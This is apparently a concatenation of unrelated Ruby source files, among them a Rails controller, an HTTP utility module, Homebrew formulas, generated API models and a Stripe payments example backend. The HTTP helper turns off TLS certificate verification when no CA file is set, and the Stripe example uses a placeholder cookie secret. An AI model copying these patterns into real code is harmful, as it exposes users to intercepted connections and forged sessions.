class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. protect_from_forgery with: :exception def preferences @preferences ||= UserPreferences.new( params ) end def time_period preferences.time_period end def set_search_configuration time_period @search_id_0 = preferences.search_id( 0 ) @search_id_1 = preferences.search_id( 1 ) @search_display_config_0 = preferences.search_display_config( @search_id_0 ) @search_display_config_1 = preferences.search_display_config( @search_id_1 ) end unless Rails.application.config.consider_all_requests_local rescue_from ActionController::RoutingError, :with => :render_404 rescue_from Exception, with: :render_exception end def render_exception( e ) if e.instance_of? ArgumentError render_error( 400 ) elsif e.instance_of? ActionController::InvalidAuthenticityToken Rails.logger.warn "Invalid authenticity token #{e}" render_error( 403 ) else Rails.logger.warn "No explicit error page for exception #{e} - #{e.class.name}" render_error( 500 ) end end def render_404( e = nil ) render_error( 404 ) end def render_error( status ) respond_to do |format| format.html { render( layout: false, file: Rails.root.join( 'public', 'landing', status.to_s ), status: status ) } format.all { render nothing: true, status: status } end end end
28.654545
86
0.693528
6abf430c8fbdee285f5cc7a20036cd46b2458169
3,199
require "net/http" require "net/https" require "cgi" require "openssl" # This module contains a set of utility methods related to the HTTP protocol. module OmniContacts module HTTPUtils SSL_PORT = 443 module_function def query_string_to_map query_string query_string.split('&').reduce({}) do |memo, key_value| (key, value) = key_value.split('=') memo[key]= value memo end end def to_query_string map map.collect do |key, value| key.to_s + "=" + value.to_s end.join("&") end # Encodes the given input according to RFC 3986 def encode to_encode CGI.escape(to_encode) end # Calculates the url of the host from a Rack environment. # The result is in the form scheme://host:port # If port is 80 the result is scheme://host # According to Rack specification the HTTP_HOST variable is preferred over SERVER_NAME. def host_url_from_rack_env env port = ((env["SERVER_PORT"] == 80) && "") || ":#{env['SERVER_PORT']}" host = (env["HTTP_HOST"]) || (env["SERVER_NAME"] + port) "#{scheme(env)}://#{host}" end def scheme env if env['HTTPS'] == 'on' 'https' elsif env['HTTP_X_FORWARDED_SSL'] == 'on' 'https' elsif env['HTTP_X_FORWARDED_PROTO'] env['HTTP_X_FORWARDED_PROTO'].split(',').first else env["rack.url_scheme"] end end # Classes including the module must respond to the ssl_ca_file message in order to use the following methods. # The response will be the path to the CA file to use when making https requests. # If the result of ssl_ca_file is nil no file is used. In this case a warn message is logged. private # Executes an HTTP GET request. # It raises a RuntimeError if the response code is not equal to 200 def http_get host, path, params connection = Net::HTTP.new(host) process_http_response connection.request_get(path + "?" + to_query_string(params)) end # Executes an HTTP POST request over SSL # It raises a RuntimeError if the response code is not equal to 200 def https_post host, path, params https_connection host do |connection| connection.request_post(path, to_query_string(params)) end end # Executes an HTTP GET request over SSL # It raises a RuntimeError if the response code is not equal to 200 def https_get host, path, params, headers = nil https_connection host do |connection| connection.request_get(path + "?" + to_query_string(params), headers) end end def https_connection (host) connection = Net::HTTP.new(host, SSL_PORT) connection.use_ssl = true if ssl_ca_file connection.ca_file = ssl_ca_file else logger << "No SSL ca file provided. It is highly reccomended to use one in production envinronments" if respond_to?(:logger) && logger connection.verify_mode = OpenSSL::SSL::VERIFY_NONE end process_http_response(yield(connection)) end def process_http_response response raise response.body if response.code != "200" response.body end end end
31.362745
142
0.661457
f7792037050ddcbba903368eb91bbb8f4900f09b
112
module Phctitleseo class ApplicationRecord < ActiveRecord::Base self.abstract_class = true end end
18.666667
47
0.741071
081d359737e4ed02977a30cc80a037be152f8bef
100
require 'rails_i18n/common_pluralizations/other' ::RailsI18n::Pluralization::Other.with_locale(:ig)
33.333333
50
0.83
4ab629d7327d0b54efe4e9eeccfdda8032c1c3ba
186
nozomi "Install Twitter bootstrap" do gem_group_add :assets do gem 'bootstrap-sass' end run "echo '//= require bootstrap' >> app/assets/stylesheets/application.css" end
18.6
78
0.704301
ed94d7661e5736219fc1a29240eaf69bd67371d7
1,748
require_relative 'spec_helper' require_relative 'common_steps' describe MouseMelon do it 'has a version number' do expect(MouseMelon::VERSION).not_to be nil end end feature 'MouseMelon features' do include CommonSteps scenario 'Without gherkin' do given_is_defined when_is_defined then_is_defined and_is_defined step_is_defined step_can_have_arguments1('X') step_can_be_included1 end scenario 'Gherkin steps as symbols' do Given :given_is_defined When :when_is_defined Then :then_is_defined And :and_is_defined Step :step_is_defined And :step_can_have_arguments2, 'Y' And :step_can_be_included2 end scenario 'Gherkin steps as strings' do Given 'given is defined' When 'when is defined' Then 'then is defined' And 'and is defined' Step 'step is defined' And 'step can have arguments3', 'Z' And 'step can have "quotes"3' And 'step can be included3' end scenario 'Gherkin steps as triangle bullets' do ‣ 'given is defined' ‣ 'when is defined' ‣ 'then is defined' end scenario 'Gherkin steps as circle bullets' do • 'given is defined' • 'when is defined' • 'then is defined' end def given_is_defined puts 'GIVEN' end def when_is_defined puts 'WHEN' end def then_is_defined puts 'THEN' end def and_is_defined puts 'AND' end step 'step is defined' do puts 'STEP' end step 'step can have "quotes"3' do puts "QUOTES 3" end def step_can_have_arguments1(arg) puts "STEP #{arg}" end def step_can_have_arguments2(arg) puts "STEP #{arg}" end step 'step can have arguments3' do |arg| puts "STEP #{arg}" end end
18.795699
49
0.673341
f7518cf156e6d6cfe92ee2e7285d4de03cb34080
3,545
# bandwidth # # This file was automatically generated by APIMATIC v2.0 # ( https://apimatic.io ). require 'date' module Bandwidth # ConferenceDetail Model. class ConferenceDetail < BaseModel # TODO: Write general description for this method # @return [String] attr_accessor :id # TODO: Write general description for this method # @return [String] attr_accessor :name # TODO: Write general description for this method # @return [DateTime] attr_accessor :created_time # TODO: Write general description for this method # @return [DateTime] attr_accessor :completed_time # TODO: Write general description for this method # @return [String] attr_accessor :conference_event_url # TODO: Write general description for this method # @return [ConferenceEventMethodEnum] attr_accessor :conference_event_method # TODO: Write general description for this method # @return [String] attr_accessor :tag # TODO: Write general description for this method # @return [List of ConferenceMemberDetail] attr_accessor :active_members # A mapping from model property names to API property names. def self.names @_hash = {} if @_hash.nil? @_hash['id'] = 'id' @_hash['name'] = 'name' @_hash['created_time'] = 'createdTime' @_hash['completed_time'] = 'completedTime' @_hash['conference_event_url'] = 'conferenceEventUrl' @_hash['conference_event_method'] = 'conferenceEventMethod' @_hash['tag'] = 'tag' @_hash['active_members'] = 'activeMembers' @_hash end def initialize(id = nil, name = nil, created_time = nil, completed_time = nil, conference_event_url = nil, conference_event_method = nil, tag = nil, active_members = nil) @id = id @name = name @created_time = created_time @completed_time = completed_time @conference_event_url = conference_event_url @conference_event_method = conference_event_method @tag = tag @active_members = active_members end # Creates an instance of the object from a hash. def self.from_hash(hash) return nil unless hash # Extract variables from the hash. id = hash['id'] name = hash['name'] created_time = APIHelper.rfc3339(hash['createdTime']) if hash['createdTime'] completed_time = APIHelper.rfc3339(hash['completedTime']) if hash['completedTime'] conference_event_url = hash['conferenceEventUrl'] conference_event_method = hash['conferenceEventMethod'] tag = hash['tag'] # Parameter is an array, so we need to iterate through it active_members = nil unless hash['activeMembers'].nil? active_members = [] hash['activeMembers'].each do |structure| active_members << (ConferenceMemberDetail.from_hash(structure) if structure) end end # Create object from extracted values. ConferenceDetail.new(id, name, created_time, completed_time, conference_event_url, conference_event_method, tag, active_members) end end end
32.522936
87
0.599154
7a4e384712fb163c406620ac4144b62a183eaa4a
1,009
require "formula" class Fakeroot < Formula homepage "https://tracker.debian.org/pkg/fakeroot" stable do url "https://mirrors.kernel.org/debian/pool/main/f/fakeroot/fakeroot_1.18.4.orig.tar.bz2" mirror "http://ftp.debian.org/debian/pool/main/f/fakeroot/fakeroot_1.18.4.orig.tar.bz2" sha1 "60cdd12ea3a72f3676c0f3930ab908ff1f13b996" # Monitor this with each release # https://github.com/Homebrew/homebrew/issues/33400#issuecomment-59827330 depends_on MaximumMacOSRequirement => :mavericks end head "https://anonscm.debian.org/git/users/clint/fakeroot.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build def install system "./bootstrap" system "./configure", "--disable-dependency-tracking", "--disable-static", "--prefix=#{prefix}" system "make", "install" end test do assert_equal "root", shell_output("#{bin}/fakeroot whoami").strip end end
29.676471
93
0.67889
010e9b1d3fbc3fd29f2fe38fb64a5f8042e65378
4,096
unless defined? JRUBY_VERSION Process.maxgroups = 1024 end module RDoc def self.caller(skip=nil) in_gem_wrapper = false Kernel.caller.reject { |call| in_gem_wrapper ||= call =~ /#{Regexp.escape $0}:\d+:in `load'/ } end end require "yaml" require "puppet/util/zaml.rb" class Symbol def to_zaml(z) z.emit("!ruby/sym ") to_s.to_zaml(z) end def <=> (other) self.to_s <=> other.to_s end end [Object, Exception, Integer, Struct, Date, Time, Range, Regexp, Hash, Array, Float, String, FalseClass, TrueClass, Symbol, NilClass, Class].each { |cls| cls.class_eval do def to_yaml(ignored=nil) ZAML.dump(self) end end } def YAML.dump(*args) ZAML.dump(*args) end # # Workaround for bug in MRI 1.8.7, see # http://redmine.ruby-lang.org/issues/show/2708 # for details # if RUBY_VERSION == '1.8.7' class NilClass def closed? true end end end class Object # ActiveSupport 2.3.x mixes in a dangerous method # that can cause rspec to fork bomb # and other strange things like that. def daemonize raise NotImplementedError, "Kernel.daemonize is too dangerous, please don't try to use it." end # The following code allows callers to make assertions that are only # checked when the environment variable PUPPET_ENABLE_ASSERTIONS is # set to a non-empty string. For example: # # assert_that { condition } # assert_that(message) { condition } if ENV["PUPPET_ENABLE_ASSERTIONS"].to_s != '' def assert_that(message = nil) unless yield raise Exception.new("Assertion failure: #{message}") end end else def assert_that(message = nil) end end end # Workaround for yaml_initialize, which isn't supported before Ruby # 1.8.3. if RUBY_VERSION == '1.8.1' || RUBY_VERSION == '1.8.2' YAML.add_ruby_type( /^object/ ) { |tag, val| type, obj_class = YAML.read_type_class( tag, Object ) r = YAML.object_maker( obj_class, val ) if r.respond_to? :yaml_initialize r.instance_eval { instance_variables.each { |name| remove_instance_variable name } } r.yaml_initialize(tag, val) end r } end class Array # Ruby < 1.8.7 doesn't have this method but we use it in tests def combination(num) return [] if num < 0 || num > size return [[]] if num == 0 return map{|e| [e] } if num == 1 tmp = self.dup self[0, size - (num - 1)].inject([]) do |ret, e| tmp.shift ret += tmp.combination(num - 1).map{|a| a.unshift(e) } end end unless method_defined? :combination alias :count :length unless method_defined? :count end class Symbol def to_proc Proc.new { |*args| args.shift.__send__(self, *args) } end unless method_defined? :to_proc end class String def lines(separator = $/) lines = split(separator) block_given? and lines.each {|line| yield line } lines end end class IO def lines(separator = $/) lines = split(separator) block_given? and lines.each {|line| yield line } lines end def self.binread(name, length = nil, offset = 0) File.open(name, 'rb') do |f| f.seek(offset) if offset > 0 f.read(length) end end unless singleton_methods.include?(:binread) def self.binwrite(name, string, offset = 0) File.open(name, 'wb') do |f| f.write(offset > 0 ? string[offset..-1] : string) end end unless singleton_methods.include?(:binwrite) end class Range def intersection(other) raise ArgumentError, 'value must be a Range' unless other.kind_of?(Range) return unless other === self.first || self === other.first start = [self.first, other.first].max if self.exclude_end? && self.last <= other.last start ... self.last elsif other.exclude_end? && self.last >= other.last start ... other.last else start .. [ self.last, other.last ].min end end unless method_defined? :intersection alias_method :&, :intersection unless method_defined? :& end # Ruby 1.8.5 doesn't have tap module Kernel def tap yield(self) self end unless method_defined?(:tap) end
23.676301
152
0.658936
1830ed3b584222ccf0f9b12dd5961f6a37ccc094
9,837
# # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # class Hhvm412 < Formula desc "JIT compiler and runtime for the Hack language" homepage "http://hhvm.com/" head "https://github.com/facebook/hhvm.git" url "https://dl.hhvm.com/source/hhvm-4.12.2.tar.gz" sha256 "64c9b2b2b92a4813e4dac0c5903dc691af9425203f52aeac2fe01cd046fccd3d" bottle do rebuild 1 root_url "https://dl.hhvm.com/homebrew-bottles" end class << Hardware::CPU def optimization_flags # Homebrew doesn't support specifying anything more recent than 'nehalem', # but nehalem is 19x slower than sandybrdige at some real-world workloads, # and sandybridge is an old enough architecture that we're going to assume # that HHVM users have it. OPTIMIZATION_FLAGS.merge({nehalem: "-march=sandybridge"}) end end option "with-debug", <<~EOS Make an unoptimized build with assertions enabled. This will run PHP and Hack code dramatically slower than a release build, and is suitable mostly for debugging HHVM itself. EOS # Needs very recent xcode depends_on :macos => :sierra depends_on "autoconf" => :build depends_on "automake" => :build depends_on "cmake" => :build depends_on "double-conversion" => :build depends_on "dwarfutils" => :build depends_on "gawk" => :build depends_on "libelf" => :build depends_on "libtool" => :build depends_on "md5sha1sum" => :build depends_on "pkg-config" => :build depends_on "wget" => :build # We statically link against icu4c as every non-bugfix release is not # backwards compatible; needing to rebuild for every release is too # brittle depends_on "icu4c" => :build depends_on "boost" depends_on "freetype" depends_on "gd" depends_on "gettext" depends_on "glog" depends_on "gmp" depends_on "imagemagick@6" depends_on "jemalloc" depends_on "jpeg" depends_on "libevent" depends_on "libmemcached" depends_on "libsodium" depends_on "libpng" depends_on "libxml2" depends_on "libzip" depends_on "lz4" depends_on "mcrypt" depends_on "oniguruma" depends_on "openssl" depends_on "pcre" # Used for Hack but not HHVM build - see #116 depends_on "postgresql" depends_on "sqlite" depends_on "tbb" def install cmake_args = %W[ -DCMAKE_INSTALL_PREFIX=#{prefix} -DCMAKE_INSTALL_SYSCONFDIR=#{etc} -DDEFAULT_CONFIG_DIR=#{etc}/hhvm ] # Force use of bundled PCRE to workaround #116 cmake_args += %W[ -DSYSTEM_PCRE_HAS_JIT=0 ] # Features which don't work on OS X yet since they haven't been ported yet. cmake_args += %W[ -DENABLE_MCROUTER=OFF -DENABLE_EXTENSION_MCROUTER=OFF -DENABLE_EXTENSION_IMAP=OFF ] # Required to specify a socket path if you are using the bundled async SQL # client (which is very strongly recommended). cmake_args << "-DMYSQL_UNIX_SOCK_ADDR=/tmp/mysql.sock" # LZ4 warning macros are currently incompatible with clang cmake_args << "-DCMAKE_C_FLAGS=-DLZ4_DISABLE_DEPRECATE_WARNINGS=1" cmake_args << "-DCMAKE_CXX_FLAGS=-DLZ4_DISABLE_DEPRECATE_WARNINGS=1 -DU_USING_ICU_NAMESPACE=1" # Debug builds. This switch is all that's needed, it sets all the right # cflags and other config changes. if build.with? "debug" cmake_args << "-DCMAKE_BUILD_TYPE=Debug" else cmake_args << "-DCMAKE_BUILD_TYPE=RelWithDebInfo" end # Statically link libICU cmake_args += %W[ -DICU_INCLUDE_DIR=#{Formula["icu4c"].opt_include} -DICU_I18N_LIBRARY=#{Formula["icu4c"].opt_lib}/libicui18n.a -DICU_LIBRARY=#{Formula["icu4c"].opt_lib}/libicuuc.a -DICU_DATA_LIBRARY=#{Formula["icu4c"].opt_lib}/libicudata.a ] # TBB looks for itself in a different place than brew installs to. ENV["TBB_ARCH_PLATFORM"] = "." cmake_args += %W[ -DTBB_INCLUDE_DIR=#{Formula["tbb"].opt_include} -DTBB_INSTALL_DIR=#{Formula["tbb"].opt_prefix} -DTBB_LIBRARY=#{Formula["tbb"].opt_lib}/libtbb.dylib -DTBB_LIBRARY_DEBUG=#{Formula["tbb"].opt_lib}/libtbb.dylib -DTBB_LIBRARY_DIR=#{Formula["tbb"].opt_lib} -DTBB_MALLOC_LIBRARY=#{Formula["tbb"].opt_lib}/libtbbmalloc.dylib -DTBB_MALLOC_LIBRARY_DEBUG=#{Formula["tbb"].opt_lib}/libtbbmalloc.dylib ] system "cmake", *cmake_args, '.' system "make" system "make", "install" tp_notices = (share/"doc/third_party_notices.txt") (share/"doc").install "third-party/third_party_notices.txt" (share/"doc/third_party_notices.txt").append_lines <<EOF ----- The following software may be included in this product: icu4c. This Software contains the following license and notice below: Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/. Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/. Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/. NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE. COPYRIGHT AND PERMISSION NOTICE Copyright © 1991-2017 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html. Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that either (a) this copyright and permission notice appear with all copies of the Data Files or Software, or (b) this copyright and permission notice appear in associated Documentation. THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE. Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder. EOF ini = etc/"hhvm" (ini/"php.ini").write php_ini unless File.exist? (ini/"php.ini") (ini/"server.ini").write server_ini unless File.exist? (ini/"server.ini") end test do (testpath/"test.php").write <<~EOS <?php exit(is_integer(HHVM_VERSION_ID) ? 0 : 1); EOS system "#{bin}/hhvm", testpath/"test.php" end plist_options :manual => "hhvm -m daemon -c #{HOMEBREW_PREFIX}/etc/hhvm/php.ini -c #{HOMEBREW_PREFIX}/etc/hhvm/server.ini" def plist <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> <key>ProgramArguments</key> <array> <string>#{opt_bin}/hhvm</string> <string>-m</string> <string>server</string> <string>-c</string> <string>#{etc}/hhvm/php.ini</string> <string>-c</string> <string>#{etc}/hhvm/server.ini</string> </array> <key>WorkingDirectory</key> <string>#{HOMEBREW_PREFIX}</string> </dict> </plist> EOS end # https://github.com/hhvm/packaging/blob/master/hhvm/deb/skeleton/etc/hhvm/php.ini def php_ini <<~EOS ; php options session.save_handler = files session.save_path = #{var}/lib/hhvm/sessions session.gc_maxlifetime = 1440 ; hhvm specific hhvm.log.always_log_unhandled_exceptions = true hhvm.log.runtime_error_reporting_level = 8191 hhvm.mysql.typed_results = false EOS end # https://github.com/hhvm/packaging/blob/master/hhvm/deb/skeleton/etc/hhvm/server.ini def server_ini <<~EOS ; php options pid = #{var}/run/hhvm/pid ; hhvm specific hhvm.server.port = 9000 hhvm.server.default_document = index.php hhvm.log.use_log_file = true hhvm.log.file = #{var}/log/hhvm/error.log hhvm.repo.central.path = #{var}/run/hhvm/hhvm.hhbc EOS end end
35.384892
125
0.703467
0804bb334b16f4373de8e416d9f0f98f5f4363c3
208
module Telegram module Bot module Types class GameHighScore < Base attribute :position, Integer attribute :user, User attribute :score, Integer end end end end
17.333333
36
0.625
ff2ac6f70dbd59a73fa501b40bc0505cd744bb81
42
module DateToWord VERSION = "0.1.7" end
10.5
19
0.690476
1168264f52e8f8852ce7df87d7c6ddde783bced9
923
cask "elgato-stream-deck" do version "4.9.2.13193" sha256 "24a7913d337cba95bdb9e1c148dbeaf4ccfc58a42a118251ca61372bc76998cd" url "https://edge.elgato.com/egc/macos/sd/Stream_Deck_#{version}.pkg" appcast "https://macupdater.net/cgi-bin/check_urls/check_url_redirect.cgi?url=https://gc-updates.elgato.com/mac/sd-update/final/download-website.php" name "Elgato Stream Deck" homepage "https://www.elgato.com/en/gaming/stream-deck" depends_on macos: ">= :sierra" pkg "Stream_Deck_#{version}.pkg" uninstall launchctl: "com.elgato.StreamDeck", quit: "com.elgato.StreamDeck", pkgutil: "com.elgato.StreamDeck" zap trash: [ "~/Library/Application Support/com.elgato.StreamDeck", "~/Library/Caches/com.elgato.StreamDeck", "~/Library/Caches/com.plausiblelabs.crashreporter.data/com.elgato.StreamDeck", "~/Library/Preferences/com.elgato.StreamDeck.plist", ] end
36.92
151
0.726977
21276903d5b2eb4f5c42d49ea3cf38869a870fa3
2,142
require 'rails_helper' RSpec.describe ReviewsController, type: :controller do let(:valid_attributes) { :id } let(:invalid_attributes) do skip("Add a hash of attributes invalid for your model") end let(:client) { Gush::Client.new } let(:review) { instance_double(ReviewWorkflow) } before(:each) do user = instance_double('user') allow(request.env['warden']).to receive(:authenticate!).and_return(user) allow(controller).to receive(:current_user).and_return(user) end describe "GET #index" do it "assigns @client and @reviews" do get :index expect(assigns(:client)).to be_a(Gush::Client) expect(assigns(:reviews)).to be_a(Array) end it "renders the index template" do get :index expect(response).to render_template :index end end describe "GET #show" do before do allow(ReviewWorkflow).to receive(:find).and_return(review) end it "assigns the requested review to @review" do get :show, params: { id: '1234' } expect(assigns(:review)).to eq(review) end it "renders the #show view" do get :show, params: { id: '1234' } expect(response).to render_template :show end end describe "DELETE #destroy" do before do allow(Gush::Client).to receive(:new).and_return(client) allow(client).to receive(:find_workflow).with('1234').and_return(review) allow(client).to receive(:destroy_workflow).with(review) end it "destroys the requested review" do delete :destroy, params: { id: '1234' } expect(response).to redirect_to(:reviews) end end describe "GET #retry_review" do before do allow(ReviewWorkflow).to receive(:find).and_return(review) allow(review).to receive(:continue) allow(review).to receive(:reload) end it "assigns the requested review to @review" do get :retry_review, params: { id: '1234' } expect(assigns(:review)).to eq(review) end it "renders the #show view" do get :retry_review, params: { id: '1234' } expect(response).to redirect_to(:review) end end end
28.184211
78
0.655462
08e653a47b637f7248142e654836aef1ef238271
122
shared_examples_for 'Msf::DBManager::Import::Spiceworks' do it { is_expected.to respond_to :import_spiceworks_csv } end
30.5
59
0.803279
ff066b69124f4ad13739bddde3efa018f6614255
568
ENV['SINATRA_ENV'] ||= "development" require 'bundler/setup' Bundler.require(:default, ENV['SINATRA_ENV']) configure :development do set :database, 'sqlite:///dev.db' set :show_exceptions, true end configure :production do db = URI.parse(ENV['DATABASE_URL'] || 'postgres:///localhost/mydb') ActiveRecord::Base.establish_connection( :adapter => db.scheme == 'postgres' ? 'postgresql' : db.scheme, :host => db.host, :username => db.user, :password => db.password, :database => db.path[1..-1], :encoding => 'utf8' ) end require_all 'app'
21.846154
68
0.667254
e9adb598ec36810f104eecce3c9b54acdc04e647
273
module ApiHandler def render_error(message, status) render json: { error: message }, status: status end def render_no_content render_success({}, :no_content) end def render_success(data = {}, status = :ok) render json: data, status: status end end
21
51
0.692308
08c462da15030a7df0d30a8b1c0ce8c3322adca2
12,935
require 'sinatra' require 'stripe' require 'dotenv' require 'json' require 'encrypted_cookie' $stdout.sync = true # Get puts to show up in heroku logs Dotenv.load Stripe.api_key = ENV['STRIPE_TEST_SECRET_KEY'] use Rack::Session::EncryptedCookie, :secret => 'replace_me_with_a_real_secret_key' # Actually use something secret here! def log_info(message) puts "\n" + message + "\n\n" return message end get '/' do status 200 return log_info("Great, your backend is set up. Now you can configure the Stripe example apps to point here.") end post '/ephemeral_keys' do authenticate! begin key = Stripe::EphemeralKey.create( {customer: @customer.id}, {stripe_version: params["api_version"]} ) rescue Stripe::StripeError => e status 402 return log_info("Error creating ephemeral key: #{e.message}") end content_type :json status 200 key.to_json end def authenticate! # This code simulates "loading the Stripe customer for your current session". # Your own logic will likely look very different. return @customer if @customer if session.has_key?(:customer_id) customer_id = session[:customer_id] begin @customer = Stripe::Customer.retrieve(customer_id) rescue Stripe::InvalidRequestError end else default_customer_id = ENV['DEFAULT_CUSTOMER_ID'] if default_customer_id @customer = Stripe::Customer.retrieve(default_customer_id) else begin @customer = create_customer() if (Stripe.api_key.start_with?('sk_test_')) # only attach test cards in testmode attach_customer_test_cards() end rescue Stripe::InvalidRequestError end end session[:customer_id] = @customer.id end @customer end def create_customer Stripe::Customer.create( :description => 'mobile SDK example customer', :metadata => { # Add our application's customer id for this Customer, so it'll be easier to look up :my_customer_id => '72F8C533-FCD5-47A6-A45B-3956CA8C792D', }, ) end def attach_customer_test_cards # Attach some test cards to the customer for testing convenience. # See https://stripe.com/docs/payments/3d-secure#three-ds-cards # and https://stripe.com/docs/mobile/android/authentication#testing ['4000000000003220', '4000000000003063', '4000000000003238', '4000000000003246', '4000000000003253', '4242424242424242'].each { |cc_number| payment_method = Stripe::PaymentMethod.create({ type: 'card', card: { number: cc_number, exp_month: 8, exp_year: 2022, cvc: '123', }, }) Stripe::PaymentMethod.attach( payment_method.id, { customer: @customer.id, } ) } end # This endpoint responds to webhooks sent by Stripe. To use it, you'll need # to add its URL (https://{your-app-name}.herokuapp.com/stripe-webhook) # in the webhook settings section of the Dashboard. # https://dashboard.stripe.com/account/webhooks # See https://stripe.com/docs/webhooks post '/stripe-webhook' do # Retrieving the event from Stripe guarantees its authenticity payload = request.body.read event = nil begin event = Stripe::Event.construct_from( JSON.parse(payload, symbolize_names: true) ) rescue JSON::ParserError => e # Invalid payload status 400 return end # Handle the event case event.type when 'source.chargeable' # For sources that require additional user action from your customer # (e.g. authorizing the payment with their bank), you should use webhooks # to capture a PaymentIntent after the source becomes chargeable. # For more information, see https://stripe.com/docs/sources#best-practices source = event.data.object # contains a Stripe::Source WEBHOOK_CHARGE_CREATION_TYPES = ['bancontact', 'giropay', 'ideal', 'sofort', 'three_d_secure', 'wechat'] if WEBHOOK_CHARGE_CREATION_TYPES.include?(source.type) begin payment_intent = Stripe::PaymentIntent.create( :amount => source.amount, :currency => source.currency, :source => source.id, :payment_method_types => [source.type], :description => "PaymentIntent for Source webhook", :confirm => true, :capture_method => ENV['CAPTURE_METHOD'] == "manual" ? "manual" : "automatic", ) rescue Stripe::StripeError => e status 400 return log_info("Webhook: Error creating PaymentIntent: #{e.message}") end return log_info("Webhook: Created PaymentIntent for source: #{payment_intent.id}") end when 'payment_intent.succeeded' payment_intent = event.data.object # contains a Stripe::PaymentIntent log_info("Webhook: PaymentIntent succeeded #{payment_intent.id}") # Fulfill the customer's purchase, send an email, etc. # When creating the PaymentIntent, consider storing any order # information (e.g. order number) as metadata so that you can retrieve it # here and use it to complete your customer's purchase. when 'payment_intent.amount_capturable_updated' # Capture the payment, then fulfill the customer's purchase like above. payment_intent = event.data.object # contains a Stripe::PaymentIntent log_info("Webhook: PaymentIntent succeeded #{payment_intent.id}") else # Unexpected event type status 400 return end status 200 end # ==== SetupIntent # See https://stripe.com/docs/payments/cards/saving-cards-without-payment # This endpoint is used by the mobile example apps to create a SetupIntent. # https://stripe.com/docs/api/setup_intents/create # A real implementation would include controls to prevent misuse post '/create_setup_intent' do payload = params if request.content_type != nil and request.content_type.include? 'application/json' and params.empty? payload = Sinatra::IndifferentHash[JSON.parse(request.body.read)] end begin setup_intent = Stripe::SetupIntent.create({ payment_method: payload[:payment_method], return_url: payload[:return_url], confirm: payload[:payment_method] != nil, customer: payload[:customer_id], use_stripe_sdk: payload[:payment_method] != nil ? true : nil, payment_method_types: payment_methods_for_country(payload[:country]), }) rescue Stripe::StripeError => e status 402 return log_info("Error creating SetupIntent: #{e.message}") end log_info("SetupIntent successfully created: #{setup_intent.id}") status 200 return { :intent => setup_intent.id, :secret => setup_intent.client_secret, :status => setup_intent.status }.to_json end # ==== PaymentIntent Automatic Confirmation # See https://stripe.com/docs/payments/payment-intents/ios # This endpoint is used by the mobile example apps to create a PaymentIntent # https://stripe.com/docs/api/payment_intents/create # A real implementation would include controls to prevent misuse post '/create_payment_intent' do authenticate! payload = params if request.content_type != nil and request.content_type.include? 'application/json' and params.empty? payload = Sinatra::IndifferentHash[JSON.parse(request.body.read)] end # Calculate how much to charge the customer amount = calculate_price(payload[:amount], payload[:shipping]) begin payment_intent = Stripe::PaymentIntent.create( :amount => amount, :currency => currency_for_country(payload[:country]), :customer => payload[:customer_id] || @customer.id, :description => "Example PaymentIntent", :capture_method => ENV['CAPTURE_METHOD'] == "manual" ? "manual" : "automatic", payment_method_types: payment_methods_for_country(payload[:country]), :metadata => { :order_id => '5278735C-1F40-407D-933A-286E463E72D8', }.merge(payload[:metadata] || {}), ) rescue Stripe::StripeError => e status 402 return log_info("Error creating PaymentIntent: #{e.message}") end log_info("PaymentIntent successfully created: #{payment_intent.id}") status 200 return { :intent => payment_intent.id, :secret => payment_intent.client_secret, :status => payment_intent.status }.to_json end # ===== PaymentIntent Manual Confirmation # See https://stripe.com/docs/payments/payment-intents/ios-manual # This endpoint is used by the mobile example apps to create and confirm a PaymentIntent # using manual confirmation. # https://stripe.com/docs/api/payment_intents/create # https://stripe.com/docs/api/payment_intents/confirm # A real implementation would include controls to prevent misuse post '/confirm_payment_intent' do authenticate! payload = params if request.content_type.include? 'application/json' and params.empty? 